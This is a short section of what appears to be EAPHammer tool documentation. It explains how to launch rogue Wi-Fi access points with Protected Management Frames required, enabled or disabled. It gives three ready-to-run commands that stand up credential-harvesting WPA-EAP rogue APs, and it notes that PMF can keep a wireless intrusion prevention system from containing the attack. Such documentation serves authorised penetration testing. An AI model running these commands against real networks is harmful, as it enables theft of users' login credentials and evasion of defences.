XVI. Protected Management Frames

EAPHammer supports rogue AP attacks using Protected Management Frames (PMF). This can be useful in situations where you need to enable or require PMF to create an RFC compliant AP (such as with WPA3 and OWE), or in situations where you want to use PMF to prevent a Wireless Intrusion Prevention System (WIPS) from using deauthentication frames to contain your attack.

To require stations to use PMF when connecting to your rogue AP, use the --pmf require flag as shown in the following example (default for access points that use OWE):

./eaphammer -i wlan0 --auth wpa-eap --essid yayPMF --creds --pmf require

To create a rogue AP that supports PMF, but does not require it, use the --pmf enable flag (default for OWE Transition Mode):

./eaphammer -i wlan0 --auth wpa-eap --essid certifiedEthicalSnacker --creds --pmf enable

To explicitly disable PMF (default behavior for all authentication types except OWE and OWE Transition), use the --pmf disable flag:

./eaphammer -i wlan0 --auth wpa-eap --essid certifiedEthicalSnacker --creds --pmf disable